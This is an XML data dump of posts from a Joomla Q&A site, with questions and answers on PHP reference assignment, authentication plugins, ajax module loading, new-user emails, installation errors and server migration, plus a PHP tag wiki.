  <row Id="411" PostTypeId="1" AcceptedAnswerId="412" CreationDate="2014-04-28T10:24:14.943" Score="12" ViewCount="178" Body="&lt;p&gt;I've noticed in the Joomla documentation, such as for &lt;a href=&quot;http://docs.joomla.org/JFactory/getSession&quot;&gt;JFactory/getSession&lt;/a&gt;, that the examples use assign-by-reference (&lt;code&gt;=&amp;amp;&lt;/code&gt;), rather than a simple assignment (&lt;code&gt;=&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session =&amp;amp; JFactory::getSession();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this just out-of-date, or purposefully covering users of PHP 4?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this necessary under PHP 5? Or is there something Joomla related that I've overlooked?&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-04-28T10:59:13.287" Title="Docs use assign by reference (=&amp;) but is this necessary with PHP 5?" Tags="|php|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="412" PostTypeId="2" ParentId="411" CreationDate="2014-04-28T10:59:13.287" Score="9" Body="&lt;p&gt;This was used for PHP4 times. From PHP5 onwards objects are assigned by reference, so there is no need to do that explicitly.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-04-28T10:59:13.287" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="413" PostTypeId="1" AcceptedAnswerId="418" CreationDate="2014-04-28T13:16:31.997" Score="3" ViewCount="376" Body="&lt;p&gt;This one is strange, its based on keeping one login through out multiple services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I have created a custom login system using &quot;activecollab&quot;s API to login, allowing the users in active collab to in effect have control over another site. In order to do this I have not found a single CMS or PHP Framework that allows this in any kind of simple form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically how it works is the user tries to login and it sends the credentials to the activecollab API, then it will return a token. This will allow me to set a session and verify the user. Is there a way to do this in Joomla? Having the advanced CMS features of Joomla would make the rest of the development much easier, however trying various ways I ended up starting it without even using a framework, as none I could find allowed this without ignoring most of the built in functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a way to use Joomla I would prefer too, is it possible to use a custom OAuth login rather then the normal Joomla user table? The administration panel does not matter, the main focus is front end login for custom controls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Might of forgotten a key part of this, the login should work regardless of the user being in the user table of Joomla, basically if a user has an account in the activecollab site, they should be able to log into the joomla site without ever needing to register.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="75" LastEditDate="2014-04-28T14:29:19.837" LastActivityDate="2014-04-28T14:29:19.837" Title="Override Joomla's users with third party service" Tags="|cms|login|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="414" PostTypeId="5" CreationDate="2014-04-28T13:21:33.933" Score="0" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tb40M.png&quot; alt=&quot;PHP Logo&quot;&gt;&lt;strong&gt;PHP&lt;/strong&gt; (originally stood for &lt;a href=&quot;http://www.php.net/manual/en/history.php.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Personal Home Page&lt;/a&gt;, now stands for &lt;strong&gt;PHP: Hypertext Preprocessor&lt;/strong&gt;) is a server-side scripting language designed for web development but also used as a general-purpose programming language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP code can be simply mixed with HTML code, or it can be used in combination with various templating engines and web frameworks. PHP code is usually processed by a PHP interpreter, which is usually implemented as a web server's native module or a Common Gateway Interface (CGI) executable. After the PHP code is interpreted and executed, the web server sends resulting output to its client, usually in form of a part of the generated web page – for example, PHP code can generate a web page's HTML code, an image, or some other data. PHP has also evolved to include a command-line interface (CLI) capability and can be used in standalone graphical applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP is free software released under the PHP License. PHP has been widely ported and can be deployed on most web servers on almost every operating system and platform, free of charge.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;PHP Versions&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Current Stable Versions:&lt;/strong&gt; 5.5.15 &lt;em&gt;// Release Date: 24 Jul 2014&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Old Stable Version:&lt;/strong&gt; 5.4.31 &lt;em&gt;// Release Date: 24 Jul 2014&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Development Version:&lt;/strong&gt; 5.6.0RC2 &lt;em&gt;// Release Date: 3 Jul 2014&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The current versions of PHP can be downloaded from &lt;a href=&quot;http://php.net/downloads.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;php.net&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;PHP and Joomla&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Joomla is based on PHP and MySQL, and the &lt;a href=&quot;http://www.joomla.org/technical-requirements.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;minimum PHP version required&lt;/a&gt; varies depending on the Joomla version:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla 3.x&lt;/strong&gt;: Minimum 5.3.10 +, Recommended: 5.4 +&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla 2.5&lt;/strong&gt; *(including Joomla 1.6 and 1.7): Minimum 5.2.4 +, Recommended: 5.4 +&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla 1.5&lt;/strong&gt; *(Support ended): Minimum 4.3.10 +, Recommended: 5.2&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Code Example&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This script prints &lt;code&gt;Hello World!&lt;/code&gt; on your screen.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA; &amp;lt;head&amp;gt;&#xA;  &amp;lt;title&amp;gt;PHP Test&amp;lt;/title&amp;gt;&#xA; &amp;lt;/head&amp;gt;&#xA; &amp;lt;body&amp;gt;&#xA; &amp;lt;?php echo '&amp;lt;p&amp;gt;Hello World&amp;lt;/p&amp;gt;'; ?&amp;gt; &#xA; &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use your browser to access the file with your web server's URL, ending with the &lt;code&gt;/hello.php&lt;/code&gt; file reference.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Online documentation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.php.net/manual&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP manual&lt;/a&gt; is the official documentation for &lt;a href=&quot;http://www.php.net/langref&quot; rel=&quot;nofollow noreferrer&quot;&gt;the language syntax&lt;/a&gt;, featuring function search and URL shortcuts (for example &lt;a href=&quot;http://php.net/explode&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://php.net/explode&lt;/a&gt;). &lt;a href=&quot;http://www.php.net/funcref&quot; rel=&quot;nofollow noreferrer&quot;&gt;The API is well documented&lt;/a&gt; for native and additional extensions. Most additional extensions can be found in &lt;a href=&quot;http://pecl.php.net/packages.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;PECL&lt;/a&gt;. The &lt;a href=&quot;http://pear.php.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PEAR&lt;/a&gt; repository contains a plethora of community supplied classes.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;PHP Tutorials&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://php.net/manual/en/tutorial.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP Basics&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;PHP security related information&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP Security Cheat Sheet&lt;/a&gt; [by &lt;a href=&quot;https://www.owasp.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;OWASP]&#xA;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Free online tutorial&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.codecademy.com/tracks/php&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP-Codecademy&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Free PHP Programming Books&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.techotopia.com/index.php/PHP_Essentials&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP Essentials&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.tuxradar.com/practicalphp&quot; rel=&quot;nofollow noreferrer&quot;&gt;Practical PHP Programming&lt;/a&gt; (wiki containing O'Reilly's &lt;em&gt;PHP In a Nutshell&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://symfony.com/doc/current/book/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Symfony2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.survivethedeepend.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Zend Framework: Survive the Deep End&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.phptherightway.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP: The Right Way&lt;/a&gt; (&lt;em&gt;is a community-driven quick reference for PHP best practices and accepted coding standards&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-02T19:11:44.460" LastActivityDate="2014-08-02T19:11:44.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="415" PostTypeId="4" CreationDate="2014-04-28T13:21:33.933" Score="0" Body="PHP is a server-side scripting language designed for web development but also used as a general-purpose programming language. Joomla is based on PHP." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-02T19:11:41.427" LastActivityDate="2014-08-02T19:11:41.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="416" PostTypeId="2" ParentId="251" CreationDate="2014-04-28T13:30:06.430" Score="1" Body="&lt;p&gt;The legacy classes aren't deprecated yet at the current time (with Joomla 3.3). So it's perfectly fine to use them for a Joomla 3 extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The earliest we will deprecate them is if there are replacement classes in the new MVC.&#xA;It may be that the GSoC project from George Wilson will provide us with that. But as long as core extensions are using those classes, it doesn't make sense to deprecate them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The earliest version those can be removed (if deprecated before) will be Joomla 4.0.&#xA;So for Joomla 3.x you're safe anyway with using those.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-04-28T13:30:06.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="417" PostTypeId="2" ParentId="410" CreationDate="2014-04-28T13:33:53.780" Score="5" Body="&lt;p&gt;com_ajax is only really used if the data for the module is supported (JSON based), although it has other features. In some cased the easiest way to &quot;just&quot; load a module, is to create a new template file. This can be done by creating something like &quot;module.php&quot; in the template directory. Then using something like this inside.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$module = $jinput-&amp;gt;get('module_pos', 'default_value', 'get');&#xA;?&amp;gt;&#xA;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;&amp;lt;?php echo $module; ?&amp;gt;&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should load just the module in a page, by using a url like &lt;code&gt;index.php?tmpl=module&amp;amp;module_pos=foo&lt;/code&gt; in an ajax request you should be able to get &quot;just&quot; the module data. This will load all modules assigned to the position termed by module_pos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This however has one issue, javascript. Modules add javascript to the head tag through Joomla's API. To combat this you would effectively need to add more to the module.php file to find out what is in the head tag, what is not already in the current page and in effect find and add what is needed. This process would be fairly hard but if you know the modules doing this, you could add more to your ajax call to automatically do this depending on the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will help you to &quot;load&quot; the module, after it loads via ajax just use jquery to add the html to the page where you need to, to &quot;unload&quot; it, just remove it from the dom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that can be done with &lt;code&gt;jQuery(ROOT_ELEMENT_OF_MODULE).remove();&lt;/code&gt; for removal and &lt;code&gt;jQuery(PARENT_ELEMENT_TO_INSERT_MODULE).html(MODULE_HTML);&lt;/code&gt;. Of course there are variations that can be done, but that is the simple explanation.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-04-28T13:33:53.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="418" PostTypeId="2" ParentId="413" CreationDate="2014-04-28T14:17:32.137" Score="4" Body="&lt;p&gt;I think you should be able to do that using a custom authentication plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have a look at the gmail or ldap plugin which do similar things.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Gmail plugin&lt;/strong&gt;: &lt;a href=&quot;https://github.com/joomla/joomla-cms/tree/staging/plugins/authentication/gmail&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/tree/staging/plugins/authentication/gmail&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;LDAP plugin&lt;/strong&gt;: &lt;a href=&quot;https://github.com/joomla/joomla-cms/tree/staging/plugins/authentication/ldap&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/tree/staging/plugins/authentication/ldap&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-04-28T14:17:32.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="419" PostTypeId="1" AcceptedAnswerId="421" CreationDate="2014-04-28T15:32:18.020" Score="8" ViewCount="537" Body="&lt;p&gt;Is there an easy way to move articles between Joomla installations? For example in a development/staging/production environment, I have the same 20 articles in each. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I make a change to all 20 articles in development, does Joomla have a way of promoting those changes to staging, without physically copying those articles by hand?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if I add or remove an article in one, does Joomla have a way to add or remove it in the next environment?&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-09-25T22:34:54.837" Title="Is there a way to promote articles between environments?" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="420" PostTypeId="2" ParentId="419" CreationDate="2014-04-28T16:03:13.700" Score="4" Body="&lt;p&gt;I recommend to manage the articles in one place only. It will be hard to sync if there are changes in several places, but it is not impossible, just hard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you manage in one place only, just drop the table data in the other places and insert again with the updated data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to manage the articles in several places you can compare the modified_date and copy the data of the last modified article to the other places. If articles were inserted in one place only, just insert this article to the other places. If articles were inserted in several places, copy the data of all these articles, drop them from database, and insert again in all database to keep the same id in all databases. This is just a idea about what you will need to do. So, I recommend to manage the articles in one place only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more important here is to keep the same Id to the articles between databases.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2014-04-28T16:03:13.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="421" PostTypeId="2" ParentId="419" CreationDate="2014-04-28T16:17:38.983" Score="5" Body="&lt;p&gt;Look for extensions on the JED. Both &lt;a href=&quot;http://extensions.joomla.org/extensions/migration-a-conversion/data-import-a-export/12816&quot; rel=&quot;nofollow&quot;&gt;J2XML&lt;/a&gt; and &lt;a href=&quot;http://extensions.joomla.org/extensions/migration-a-conversion/data-import-a-export/19274&quot; rel=&quot;nofollow&quot;&gt;SP Transfer&lt;/a&gt; claim to have this functionaity. &lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="69" LastEditDate="2014-04-29T08:06:18.063" LastActivityDate="2014-04-29T08:06:18.063" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="422" PostTypeId="1" AcceptedAnswerId="424" CreationDate="2014-04-28T17:03:44.297" Score="4" ViewCount="1214" Body="&lt;p&gt;This is for Joomla 2.5, although I suspect that it is the same for the 3.x series.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a server sitting behind a NAT-ing firewall, and because of that the true IP address of the server is a 192.168 address, but for users to reach it they access it as www.mydomain.com, which is set to the outside address of the firewall (not a 192.168 address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a user is created, the default message goes out, which includes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;&lt;em&gt;This email contains your username and password to log in to http:// 192.168.1.100&lt;/em&gt;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This address is not reachable, and I'd prefer to have the message be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;&lt;em&gt;This email contains your username and password to log in to &lt;a href=&quot;http://www.mydomain.com&quot; rel=&quot;nofollow&quot;&gt;http://www.mydomain.com&lt;/a&gt;&lt;/em&gt;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could go in and change the Joomla source code to force a change to the message, but I'm assuming there is a simpler way to resolve this and I'm just suffering from not seeing the forest because I'm too close to the trees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if it is a simple as putting an entry in the host table, or a PTR record in the local DNS, that will map 192.168.1.100 onto www.mydomain.com.&lt;/p&gt;&#xA;" OwnerUserId="227" LastEditorUserId="52" LastEditDate="2014-05-09T10:53:19.450" LastActivityDate="2014-05-09T10:53:19.450" Title="Overriding the system name in the new user message" Tags="|joomla-2.5|account|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="423" PostTypeId="2" ParentId="422" CreationDate="2014-04-28T18:12:41.933" Score="1" Body="&lt;p&gt;The most simple way is to edit the language file that contains that entry (hardcode it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The language file is located in the folder: &lt;code&gt;language&lt;/code&gt; (and then inside the language folder for each language installed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my sites it does get the domain, so maybe something is not correctly set up in your server.&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2014-04-28T18:12:41.933" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="424" PostTypeId="2" ParentId="422" CreationDate="2014-04-28T20:05:52.847" Score="2" Body="&lt;p&gt;Edit plugins/user/joomla/joomla.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$emailBody = JText::sprintf(&#xA;    'PLG_USER_JOOMLA_NEW_USER_EMAIL_BODY',&#xA;    $user['name'],&#xA;    $this-&amp;gt;app-&amp;gt;get('sitename'),&#xA;    JUri::root(),&#xA;    $user['username'],&#xA;    $user['password_clear']&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace &lt;code&gt;JUri::root()&lt;/code&gt; with &lt;code&gt;http://www.mydomain.com&lt;/code&gt;     &lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditDate="2014-04-28T20:24:17.377" LastActivityDate="2014-04-28T20:24:17.377" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="425" PostTypeId="2" ParentId="422" CreationDate="2014-04-28T20:19:55.660" Score="3" Body="&lt;p&gt;You might try setting $live_site in configuration.php.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2014-04-28T20:19:55.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="426" PostTypeId="2" ParentId="422" CreationDate="2014-04-28T20:23:20.800" Score="3" Body="&lt;p&gt;create a language override for 'PLG_USER_JOOMLA_NEW_USER_EMAIL_BODY' in location administator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PLG_USER_JOOMLA_NEW_USER_EMAIL_BODY=&quot;Hello %s,\n\n\nYou have been added as a User to HTTP://www.mydomain.com (%s) by an Administrator.\n\nThis email contains your username and password to log in to %s\n\nUsername: %s\nPassword: %s\n\n\nPlease do not respond to this message as it is automatically generated and is for information purposes only.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change all %s by %1$s, %2$s, %3$s, %4$s&#xA;Leaving out %2$s should suppress ip number&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditDate="2014-04-28T20:37:35.453" LastActivityDate="2014-04-28T20:37:35.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="427" PostTypeId="1" CreationDate="2014-04-28T21:06:16.890" Score="7" ViewCount="346" Body="&lt;p&gt;I made a component in joomla 2.5 in mvc way which was not working in joomla 3, later found out it's because in joomla 3 previous mvc classes not working so is controller, view, model classes must be extended from Legacy classes like &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JControllerLegacy, JViewLegacy ,JModelLegacy&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and no other changes needed to make component compatible with joomla 3 as far as i knew.If there anything more to know then let me know for compatibility with j3. So instead of making two separate mvc components for joomla 2.5 and 3, i guess i can extend from these Legacy classes so that single component is enough for both joomla 2.5 and 3, right? and again what other things to be considered to produce successful MVC component which can be installed in both joomla versions.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2014-04-28T21:20:33.310" Title="Understanding mvc way of component coding for both joomla 2.5 and 3 version" Tags="|component|joomla-3.x|joomla-2.5|joomla-api|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="428" PostTypeId="2" ParentId="427" CreationDate="2014-04-28T21:20:33.310" Score="8" Body="&lt;p&gt;There is a good doc page explaining the differences between Joomla 2.5 and 3.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_3_and_Joomla_Platform_12.2&quot;&gt;http://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_3_and_Joomla_Platform_12.2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing to mention is that the legacy classes are only available in Joomla 2.5.5 and higher. But anyone should be on 2.5.19 nowadays anyway :)&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-04-28T21:20:33.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="429" PostTypeId="1" AcceptedAnswerId="437" CreationDate="2014-04-28T23:15:14.093" Score="3" ViewCount="47" Body="&lt;p&gt;While attempting to install Joomla 2.5 on a php 5.2 server the install wizard keeps silently failing at the sql settings page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to simply write a config to the server manually?&lt;/p&gt;&#xA;" OwnerUserId="230" LastActivityDate="2014-04-29T06:25:51.823" Title="Joomla 2.5 installation process silently failing" Tags="|joomla-2.5|installation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="430" PostTypeId="1" AcceptedAnswerId="434" CreationDate="2014-04-28T23:18:05.700" Score="5" ViewCount="2703" Body="&lt;p&gt;I have a J2.5 install that simply refuses to install a component using the extensions manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The directories are all writable, the Forum Post Assistant reports that session is writable, tmp path is ok, and the relevant directories have been made 777, and all files on the server have the same owner. Yet I still receive the following error when I try to install&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JFTP: :mkdir: Bad response JFTP: :chmod: Bad response Component&#xA;  Install: Failed to create site directory:&#xA;  path.to/components/com_neorecruit&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I manually create the com_neorecruit directory then I receive the following error.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JFolder: :files: Path is not a folder. Path:&#xA;  path.to/administrator/components/com_neorecruit JFolder: :files: Path&#xA;  is not a folder. Path: path.to/administrator/components/com_neorecruit&#xA;  JInstaller: :Install: Cannot find XML setup file JInstaller: :Install:&#xA;  Cannot find XML setup file JFTP: :mkdir: Bad response JFTP: :chmod:&#xA;  Bad response Component Update: Failed to create admin&#xA;  directory:path.to/administrator/components/com_neorecruit&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="230" LastEditorUserId="52" LastEditDate="2014-04-29T06:15:14.463" LastActivityDate="2014-04-29T11:37:41.513" Title="Unable to install a component via the extension manager" Tags="|joomla-2.5|extensions|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="431" PostTypeId="1" AcceptedAnswerId="436" CreationDate="2014-04-28T23:27:50.853" Score="3" ViewCount="939" Body="&lt;p&gt;I'm unable to move Joomla! 2.5.4 to another server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having built my Joomla site on my local machine, when I upload the site to the live environment (having updated the DB and corrected the settings in configuration.php) Joomla generates this error message when I try to reach the admin console.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: file_exists() [function.file-exists]: open_basedir&#xA;  restriction in effect.&#xA;  File(/path/to/administrator/defines.php) is not&#xA;  within the allowed path(s): (/Library/WebServer/Documents:tmp) in&#xA;  /path/to/administrator/index.php on line 12&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: require_once() [function.require-once]: open_basedir&#xA;  restriction in effect.&#xA;  File(/path/to/administrator/includes/defines.php)&#xA;  is not within the allowed path(s): (/Library/WebServer/Documents:tmp)&#xA;  in /path/to/administrator/index.php on line 18&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning:&#xA;  require_once(/path/to/administrator/includes/defines.php)&#xA;  [function.require-once]: failed to open stream: Operation not&#xA;  permitted in /path/to/administrator/index.php&#xA;  on line 18&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Fatal error: require_once() [function.require]: Failed opening&#xA;  required&#xA;  '/path/to/administrator/includes/defines.php'&#xA;  (include_path='.:/usr/share/pear:/usr/share/php') in&#xA;  /path/to/administrator/index.php on line 18&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The installation is looking for the old path even though I have changed public $log_path and public $tmp_path to the new path in configuration.php&lt;/p&gt;&#xA;" OwnerUserId="230" LastEditorUserId="120" LastEditDate="2014-04-29T06:06:18.417" LastActivityDate="2014-04-29T21:54:03.263" Title="Problems moving J25 to new server" Tags="|joomla-2.5|migration|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="432" PostTypeId="2" ParentId="431" CreationDate="2014-04-28T23:40:12.623" Score="1" Body="&lt;p&gt;You may need to update or remove a &lt;code&gt;RewriteBase&lt;/code&gt; statement in the &lt;code&gt;.htaccess&lt;/code&gt; file in the root folder of your website.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-04-28T23:40:12.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="433" PostTypeId="2" ParentId="431" CreationDate="2014-04-28T23:42:43.233" Score="2" Body="&lt;p&gt;I found this on the Joomla Site: &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?t=710302&quot; rel=&quot;nofollow&quot;&gt;http://forum.joomla.org/viewtopic.php?t=710302&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally got it... I was reading about the &quot;open_basedir&quot; directive. &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did a locate php.ini and there it was: /home/xxxxx/htdocs/xxxxxxx.net/administrator/php.ini&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a php.ini file in this location, change the following two items to the correct paths:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;upload_tmp_dir = your path here&#xA;open_basedir = your path here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="43" LastActivityDate="2014-04-28T23:42:43.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
